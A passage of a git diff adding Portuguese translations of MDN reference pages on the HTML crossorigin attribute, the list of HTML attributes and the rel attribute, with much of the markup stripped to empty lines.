lang{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
spellcheck{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8.1")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
style{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
tabindex{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
title{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Consultar também

- - diff --git a/files/pt-pt/web/html/attributes/crossorigin/index.html b/files/pt-pt/web/html/attributes/crossorigin/index.html new file mode 100644 index 0000000000..42f32f77e8 --- /dev/null +++ b/files/pt-pt/web/html/attributes/crossorigin/index.html @@ -0,0 +1,87 @@ +--- +title: 'Atributo CORS: Solicitar acesso CORS para o conteúdo' +slug: Web/HTML/CORS_settings_attributes +tags: + - Avançado + - CORS + - HTML + - Precisa de Exemplo + - Referencia + - Segurança +translation_of: Web/HTML/Attributes/crossorigin +--- +

In HTML5, some HTML elements which provide support for CORS, such as {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("script") }}, have a crossorigin attribute (crossOrigin property), which lets you configure the CORS requests for the element's fetched data. These attributes are enumerated, and have the following possible values:

+ + + + + + + + + + + + + + + + +
KeywordDescription
anonymousCORS requests for this element will have the credentials flag set to 'same-origin'.
use-credentialsCORS requests for this element will have the credentials flag set to 'include'.
+ +

By default (that is, when the attribute is not specified), CORS is not used at all. The "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side SSL certificates or HTTP authentication as described in the Terminology section of the CORS specification, unless it is in the same origin.

+ +

An invalid keyword and an empty string will be handled as the anonymous keyword.

+ +

Exemplo: crossorigin with the script element

+ +

You can use the following {{HTMLElement("script")}} element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials.

+ +
<script src="https://example.com/example-framework.js"
+        crossorigin="anonymous"></script>
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilidade de navegador

+ +

<script crossorigin>

+ + + +

{{Compat("html.elements.script.crossorigin")}}

+ +

<video crossorigin>

+ + + +

{{Compat("html.elements.video.crossorigin")}}

+ +

Consulte também

+ + + +
{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}
diff --git a/files/pt-pt/web/html/attributes/index.html b/files/pt-pt/web/html/attributes/index.html new file mode 100644 index 0000000000..84ea814756 --- /dev/null +++ b/files/pt-pt/web/html/attributes/index.html @@ -0,0 +1,659 @@ +--- +title: Lista de atributos HTML +slug: Web/HTML/Atributos +tags: + - HTML + - Referencia + - Web + - atributo +translation_of: Web/HTML/Attributes +--- +

Elementos em HTML têm atributos; estes são valores adicionais que configuram os elementos ou ajustam o seu comportamento em vários modos para corresponderem aos critérios que os utilizadores pretendem.

+ +

Lista de Atributos

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Nome do AtributoElementosDescrição
accept{{ HTMLElement("form") }}, {{ HTMLElement("input") }}Lista de tipos que o servidor aceita, é usualmente um tipo de ficheiro.
accept-charset{{ HTMLElement("form") }}Lista de codificações de caracteres (charsets) que são suportadas.
accesskeyAtributo globalDefine um atalho do teclado para activar ou adicionar foco ao elemento.
action{{ HTMLElement("form") }}O URI dum programa que processa a informação submetida através deste formulário.
align{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}Especifica o alinhamento horizontal do elemento.
alt{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}Texto alternativo no caso de uma imagem não poder ser mostrada.
async{{ HTMLElement("script") }}Indicates that the script should be executed asynchronously.
autocomplete{{ HTMLElement("form") }}, {{ HTMLElement("input") }}Indicates whether controls in this form can by default have their values automatically completed by the browser.
autofocus{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}The element should be automatically focused after the page loaded.
autoplay{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}The audio or video should play as soon as possible.
autosave{{ HTMLElement("input") }}Previous values should persist dropdowns of selectable values across page loads.
bgcolor{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }} +

Background color of the element.

+ +
+

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("background-color") }} property instead.

+
+
border{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }} +

The border width.

+ +
+

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("border") }} property instead.

+
+
buffered{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Contains the time range of already buffered media.
challenge{{ HTMLElement("keygen") }}A challenge string that is submitted along with the public key.
charset{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}Declares the character encoding of the page or script.
checked{{ HTMLElement("command") }}, {{ HTMLElement("input") }}Indicates whether the element should be checked on page load.
cite{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}Contains a URI which points to the source of the quote or change.
classGlobal attributeOften used with CSS to style elements with common properties.
code{{ HTMLElement("applet") }}Specifies the URL of the applet's class file to be loaded and executed.
codebase{{ HTMLElement("applet") }}This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.
color{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }} +

This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.

+ +
+

Nota: This is a legacy attribute. Please use the CSS {{ Cssxref("color") }} property instead.

+
+
cols{{ HTMLElement("textarea") }}Defines the number of columns in a textarea.
colspan{{ HTMLElement("td") }}, {{ HTMLElement("th") }}The colspan attribute defines the number of columns a cell should span.
content{{ HTMLElement("meta") }}A value associated with http-equiv or name depending on the context.
contenteditableGlobal attributeIndicates whether the element's content is editable.
contextmenuGlobal attributeDefines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu.
controls{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Indicates whether the browser should show playback controls to the user.
coords{{ HTMLElement("area") }}A set of values specifying the coordinates of the hot-spot region.
crossorigin{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}How the element handles cross-origin requests
data{{ HTMLElement("object") }}Specifies the URL of the resource.
data-*Global attributeLets you attach custom attributes to an HTML element.
datetime{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}Indicates the date and time associated with the element.
default{{ HTMLElement("track") }}Indicates that the track should be enabled unless the user's preferences indicate something different.
defer{{ HTMLElement("script") }}Indicates that the script should be executed after the page has been parsed.
dirGlobal attributeDefines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)
dirname{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} 
disabled{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether the user can interact with the element.
download{{ HTMLElement("a") }}, {{ HTMLElement("area") }}Indicates that the hyperlink is to be used for downloading a resource.
draggableGlobal attributeDefines whether the element can be dragged.
dropzoneGlobal attributeIndicates that the element accept the dropping of content on it.
enctype{{ HTMLElement("form") }}Defines the content type of the form date when the method is POST.
for{{ HTMLElement("label") }}, {{ HTMLElement("output") }}Describes elements which belongs to this one.
form{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates the form that is the owner of the element.
formaction{{ HTMLElement("input") }}, {{ HTMLElement("button") }}Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}.
headers{{ HTMLElement("td") }}, {{ HTMLElement("th") }}IDs of the <th> elements which applies to this element.
height{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} +

Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property.

+ +
+

Nota: In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead.

+
+
hiddenGlobal attributePrevents rendering of given element, while keeping child elements, e.g. script elements, active.
high{{ HTMLElement("meter") }}Indicates the lower bound of the upper range.
href{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }} The URL of a linked resource.
hreflang{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}Specifies the language of the linked resource.
http-equiv{{ HTMLElement("meta") }} 
icon{{ HTMLElement("command") }}Specifies a picture which represents the command.
idGlobal attributeOften used with CSS to style a specific element. The value of this attribute must be unique.
integrity{{ HTMLElement("link") }}, {{ HTMLElement("script") }}  +

Security Feature that allows browsers to verify what they fetch. 

+ +

MDN Link

+
ismap{{ HTMLElement("img") }}Indicates that the image is part of a server-side image map.
itempropGlobal attribute 
keytype{{ HTMLElement("keygen") }}Specifies the type of key generated.
kind{{ HTMLElement("track") }}Specifies the kind of text track.
label{{ HTMLElement("track") }}Specifies a user-readable title of the text track.
langGlobal attributeDefines the language used in the element.
language{{ HTMLElement("script") }}Defines the script language used in the element.
list{{ HTMLElement("input") }}Identifies a list of pre-defined options to suggest to the user.
loop{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}Indicates whether the media should start playing from the start when it's finished.
low{{ HTMLElement("meter") }}Indicates the upper bound of the lower range.
manifest{{ HTMLElement("html") }}Specifies the URL of the document's cache manifest.
max{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}Indicates the maximum value allowed.
maxlength{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Defines the maximum number of characters allowed in the element.
media{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}Specifies a hint of the media for which the linked resource was designed.
method{{ HTMLElement("form") }}Defines which HTTP method to use when submitting the form. Can be GET (default) or POST.
min{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}Indicates the minimum value allowed.
multiple{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Indicates whether multiple values can be entered in an input of the type email or file.
muted{{ HTMLElement("video") }}Indicates whether the audio will be initially silenced on page load.
name{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}Name of the element. For example used by the server to identify the fields in form submits.
novalidate{{ HTMLElement("form") }}This attribute indicates that the form shouldn't be validated when submitted.
open{{ HTMLElement("details") }}Indicates whether the details will be shown on page load.
optimum{{ HTMLElement("meter") }}Indicates the optimal numeric value.
pattern{{ HTMLElement("input") }}Defines a regular expression which the element's value will be validated against.
ping{{ HTMLElement("a") }}, {{ HTMLElement("area") }} 
placeholder{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Provides a hint to the user of what can be entered in the field.
poster{{ HTMLElement("video") }}A URL indicating a poster frame to show until the user plays or seeks.
preload{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}Indicates whether the whole resource, parts of it or nothing should be preloaded.
radiogroup{{ HTMLElement("command") }} 
readonly{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}Indicates whether the element can be edited.
rel{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}Specifies the relationship of the target object to the link object.
required{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}Indicates whether this element is required to fill out or not.
reversed{{ HTMLElement("ol") }}Indicates whether the list should be displayed in a descending order instead of a ascending.
rows{{ HTMLElement("textarea") }}Defines the number of rows in a text area.
rowspan{{ HTMLElement("td") }}, {{ HTMLElement("th") }}Defines the number of rows a table cell should span over.
sandbox{{ HTMLElement("iframe") }} 
scope{{ HTMLElement("th") }} 
scoped{{ HTMLElement("style") }} 
seamless{{ HTMLElement("iframe") }} 
selected{{ HTMLElement("option") }}Defines a value which will be selected on page load.
shape{{ HTMLElement("a") }}, {{ HTMLElement("area") }} 
size{{ HTMLElement("input") }}, {{ HTMLElement("select") }}Defines the width of the element (in pixels). If the element's type attribute is text or password then it's the number of characters.
sizes{{ HTMLElement("link") }}, {{ HTMLElement("img") }}, {{ HTMLElement("source") }} 
slotGlobal attributeAssigns a slot in a shadow DOM shadow tree to an element.
span{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }} 
spellcheckGlobal attributeIndicates whether spell checking is allowed for the element.
src{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}The URL of the embeddable content.
srcdoc{{ HTMLElement("iframe") }} 
srclang{{ HTMLElement("track") }} 
srcset{{ HTMLElement("img") }} 
start{{ HTMLElement("ol") }}Defines the first number if other than 1.
step{{ HTMLElement("input") }} 
styleGlobal attributeDefines CSS styles which will override styles previously set.
summary{{ HTMLElement("table") }} 
tabindexGlobal attributeOverrides the browser's default tab order and follows the one specified instead.
target{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }} 
titleGlobal attributeText to be displayed in a tooltip when hovering over the element.
type{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}Defines the type of the element.
usemap{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }} 
value{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}Defines a default value which will be displayed in the element on page load.
width{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} +

For the elements listed here, this establishes the element's width.

+ +
+

Nota: For all other instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead.

+
+
wrap{{ HTMLElement("textarea") }}Indicates whether the text should be wrapped.
+ +

Conteúdo versus atributos IDL

+ +

In HTML, most attributes have two faces: the content attribute and the IDL attribute.

+ +

The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's maxlength to 42 using the content attribute, you have to call setAttribute("maxlength", "42") on that element.

+ +

The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like element.foo. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.

+ +

Most of the time, IDL attributes will return their values as they are really used. For example, the default type for {{HTMLElement("input")}} elements is "text", so if you set input.type="foobar", the <input> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the type IDL attribute will return the string "text".

+ +

IDL attributes are not always strings; for example, input.maxlength is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.

+ +

IDL attributes can reflect other types such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes  behave oddly (select.size, for example) and you should read the specifications to understand how exactly they behave.

+ +

Consulte também

+ + diff --git a/files/pt-pt/web/html/attributes/rel/index.html b/files/pt-pt/web/html/attributes/rel/index.html new file mode 100644 index 0000000000..fe8307f0c0 --- /dev/null +++ b/files/pt-pt/web/html/attributes/rel/index.html @@ -0,0 +1,418 @@ +--- +title: 'HTML attribute: rel' +slug: Web/HTML/Atributos/rel +translation_of: Web/HTML/Attributes/rel +--- +

{{draft}}

+ +

O atributo rel define a relação entre um recurso ligado e o documento atual. É válido em {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. Os valores suportados dependem do elemento em que o atributo é usado.

+ +

O tipo de relação (da ligação) é definido pelo atributo rel que, se existir, tem de ter um valor que é um conjunto de palavras-chave (keywords) únicas, desordenadas, e separadas por espaços. As palavras-chave possíveis estão na tabela em baixo.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Valores possíves para o atributo rel, e os elementos em que são relevantes
rel (valor)Descrição{{htmlelement('link')}}{{htmlelement('a')}} e {{htmlelement('area')}}{{htmlelement('form')}}
{{anch("attr-alternate", "alternate")}}Representações alternativas do documento atual.LinkLinkNão permitido
{{anch("attr-author", "author")}}Autor do documento ou artigo atual.LinkLinkNão permitido
{{anch("attr-bookmark", "bookmark")}}Permalink para a secção antecessora mais próxima.Não permitidoLinkNão permitido
{{anch("attr-canonical", "canonical")}}URL ideal para o documento atual.LinkNão permitidoNão permitido
dns-prefetchPede ao browser para antecipadamente efetuar a resolução de DNS para o link em questão.Recurso externoNão permitidoNão permitido
{{anch("attr-external", "external")}}O documento referenciado não pertence ao site do documento atual.Não permitidoAnotaçãoAnotação
{{anch("attr-help", "help")}}Link para material de apoio sobre o contexto atual.LinkLinkLink
{{anch("attr-icon", "icon")}}Um ícone representativo do documento atual.Recurso externoNão permitidoNão permitido
{{anch("attr-license", "license")}}O conteúdo principal do documento atual está protegido pela licença de direitos de autor referida no link.LinkLinkLink
manifestWeb app manifestLinkNão permitidoNão permitido
modulepreloadPede ao browser para antecipadamente descarregar o script e guardá-lo no mapa de módulos do documento, para avaliar depois. As dependências do módulo também podem ser descarregadas, opcionalmente.Recurso externoNão permitidoNão permitido
{{anch("attr-next", "next")}}Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este link é o seguinte.LinkLinkLink
{{anch("attr-nofollow", "nofollow")}}Indica que o autor ou editor do documento atual não aprova o documento referenciado.Não permitidoAnotaçãoAnotação
noopenerCria um contexto de navegação de nível superior e não é "auxiliar" (não está relacionado com outro contexto de navegação), mesmo que a hiperligação estivesse configurada para criar outro tipo de contexto (atribuindo um certo valor ao atributo target, por exemplo).Não permitidoAnotaçãoAnotação
{{anch("attr-noreferrer", "noreferrer")}}Comporta-se do mesmo modo que noopener, mas exclui o header Referer do pedido.Não permitidoAnotaçãoAnotação
{{anch("attr-opener", "opener")}}Cria um contexto de navegação auxiliar, mesmo que a hiperligação fosse criar um contexto de navegação de nível superior que não fosse auxiliar  (por exemplo, no caso de um link com  "_blank" como valor do atributo target).Não permitidoAnotaçãoAnotação
{{anch("attr-pingback", "pingback")}}Indica o endereço do servidor pingback que controla pingbacks para o document atual.Recurso externoNão permitidoNão permitido
preconnectInforma o user agent de que este deve ligar-se antecipadamente à origem do recurso apontado pelo link.Recurso externoNão permitidoNão permitido
prefetchInforma o user agent de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em cache, porque é provável que este seja necessário numa futura navegação.Recurso externoNão permitidoNão permitido
preload +

Informa o user agent de que este deve antecipadamente descarregar o recurso apontado e guardá-lo em cache. Tal deverá ocorrer para para que o recurso seja usado na navegação atual, com base no atributo as (e na prioridade associada ao recurso apontado).

+
Recurso externoNão permitidoNão permitido
prerenderInforma o user agent de que este deve antecipadamente descarregar o recurso apontado e futuramente responder mais rapidamente ao mesmo pedido.Recurso externoNão permitidoNão permitido
{{anch("attr-prev", "prev")}}Indica que o documento atual pertence a uma série de documentos, e que o documento referenciado por este link é o anterior.LinkLinkLink
{{anch("attr-search", "search")}}Aponta para um recurso onde se pode pesquisar por conteúdo do documento atual e de páginas relacionadas.LinkLinkLink
{{anch("attr-stylesheet", "stylesheet")}}Importa uma style sheet.Recurso externoNão permitidoNão permitido
{{anch("attr-tag", "tag")}}Fornece uma tag (identificada pelo endereço referido) a ser usada no documento atual.Não permitidoLinkNão aplicado
+ +

O atributo rel é relevate para os elementos {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, e {{htmlelement('form')}}. No entanto, alguns dos valores só são relevantes para casos específicos deste grupo de elementos. Para o valor de rel, não há diferenciação entre maiúsculas e minúsculas, tal como em nos atributos HTML em geral.

+ +

rel não tem um valor por defeito. Se o atributo for omitido ou se os seus valores forem inválidos, então não existe qualquer relação entre o documento atual e o recurso apontado, fora a existência de uma hiperligação. Por exemplo, para {{htmlelement('link')}} e {{htmlelement('form')}}, se rel for omitido, ou se não tiver pelo menos uma das keywords em cima (separadas por espaços), então não são criadas hiperligações. Mas se o mesmo acontecer com os elementos {{htmlelement('a')}} ou {{htmlelement('area')}}, então os elementos criam hiperligações sem uma relação específica.

+ +

Valores

+ +

Se houverem vários elementos <link rel="icon">, o browser verifica os atributos media, type e sizes destes para selecionar o ícone mais adequado. Se mais do que um elemento for adequado, é o último que é usado. Se o ícone selecionado acabar por não ser apropriado (porque usa um formato não suportado, por exemplo), o browser seleciona o próximo elemento mais adequado.

+ +

Nota: Sistemas Apple iOS não usam este tipo de link, nem o atributo sizes (usado por outros browsers para dispositivos móveis), para escolher um ícone para um Web Clip ou para um placeholder visível no arranque. Sistemas iOS usam apple-touch-icon e apple-touch-startup-image respetivamente, atributos que não são padrão.

+ +

O tipo de link shortcut é frequentemente encontrado antes de icon, mas não é padrão, é ignorado, e já não deve ser usado por autores para a web.

+ +
+
{{htmlattrdef("alternate")}}
+
Aponta para uma versão alternativa do documento atual. É compatível com elementos link, a, e area. O efeito de alternate depende do valor de outros atributos: +
    +
  • Em conjunto com {{anch('stylesheet')}} num link, alternate cria uma folha de estilo (style sheet) alternativa. +
    <!-- uma folha de estilo persistente -->
    +<link rel="stylesheet" href="default.css">
    +<!-- folhas de estilo alternativas -->
    +<link rel="alternate stylesheet" href="highcontrast.css" title="High contrast">
    +
  • +
  • Com um atributo hreflang que tenha um valor diferente da língua do documento, alternate aponta para uma versão traduzida do documento.
  • +
  • Com um atributo type, aponta para um documento com o mesmo contexto mas formato diferente. Por exemplo, com type="application/rss+xml" cria uma hiperligação para um feed RSS. +
    <link rel="alternate" type="application/atom+xml" href="posts.xml" title="Blog">
    +
  • +
  • Os atributos hreflang e type apontam para versões do documento atua com formatos ou línguas diferentes, que podem ser dedicados a outros media +
    <link rel=alternate href="/fr/html/print" hreflang=fr type=text/html media=print title="French HTML (for printing)">
    +<link rel=alternate href="/fr/pdf" hreflang=fr type=application/pdf title="French PDF">
    +
  • +
+
+
{{htmlattrdef("author")}}
+
Cria uma hiperligação que indica o autor do documento ou artigo atual. Compatível com elementos {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Quando usado com {{htmlelement('a')}} ou {{htmlelement('area')}}, aponta para um documento (ou mailto:) com informação sobre o autor ou do {{htmlelement('article')}} pai mais próximo (se existir), ou do documento em si. No caso de um elemento {{htmlelement('link')}}, aponta para informação sobre o autor do documento atual. +

Nota: O atributo obsoleto rev="made" é tratado como rel="alternate"

+
+
{{htmlattrdef("bookmark")}}
+
Compatível com elementos {{htmlelement('a')}} e {{htmlelement('area')}}, bookmark informa que o link é um permalink para uma secção pai, que pode ser o {{htmlelement('article')}} ou {{htmlelement('section')}} mais próximo. Se tal secção não existir, o link refere-se ou ao heading mais próximo (que pode ser irmão do link, ou descender de um pai comum).
+
{{htmlattrdef("canonical")}}
+
Compatível com {{htmlelement('link')}}. Define o URL ideal para o documento atual, que é útil para motores de busca.
+
{{htmlattrdef("dns-prefetch")}}
+
Compatível com {{htmlelement('link')}}, seja dentro do {{htmlelement('body')}} ou do {{htmlelement('head')}}. Alerta o browser para antecipadamente efetuar resolução de DNS para a origem do recurso apontado. É útil para recursos que provavelmente serão úteis para o utilizador, porque este será capaz de aceder aos recursos mais rapidamente. Consulte a página sobre como utilizar o DNS prefetch para mais informações.
+
{{htmlattrdef("external")}}
+
Compatível com {{htmlelement('form')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Indica que o documento referenciado não pertence ao site atual. Este valor é útil para estilizar links externos, e assim informar os utilizadores de que, se ativarem o elemento, vão abandonar o site atual.
+
{{htmlattrdef("help")}}
+
Compatível com {{htmlelement('form')}}, {{htmlelement('link')}}, {{htmlelement('a')}}, e {{htmlelement('area')}}. Usado para representar uma ligação para conteúdo informativo sobre o pai do elemento com a hiperligação (e descendentes desse mesmo pai). Se um <link> contiver este valor, então o documento referenciado serve de apoio para o documento atual (em geral). Quando o valor está presente num elemento {{htmlelement('a')}} ou {{htmlelement('area')}}, o cursor {{cssxref('cursor')}} passará a help em vez de pointer (se possível).
+
{{htmlattrdef("icon")}}
+
+

Compatível com {{htmlelement('link')}}. Indica que o recurso referenciado é um ícone representativo do documento atual.

+ +

Este valor é principalmente utilizado para definir um favicon:

+ +
<link rel="icon" href="favicon.ico">
+ +

Se houverem vários elementos <link rel="icon">, então o browser deduz que favicon utilizar com base nos atributos media, type, e sizes. Caso mais que um destes elementos sejam os mais adequados (com base nestes critérios), então o browser seleciona o último destes. Se, posteriormente, o ícone mais adequado deixar de o ser, então o browser passa a usar o próximo ícone mais adequado.

+ +

Nota: para selecionar um ícone para um Web Clip ou para placeholder de arranque, o sistema iOS da Apple não usa nem este tipo de link nem o atributo sizes. Ao contrário de outros browsers mobile, este sistema usa os valores apple-touch-icon e apple-touch-startup-image respetivamente. Estes valores não são considerados standard.

+ +

O valor shortcut é frequentemente encontrado antes de icon, mas já não deve ser utilizado por autores na webshortcut não pertence a uma especificação, e é ignorado por diversos browsers. 

+
+
{{htmlattrdef("license")}}
+
+

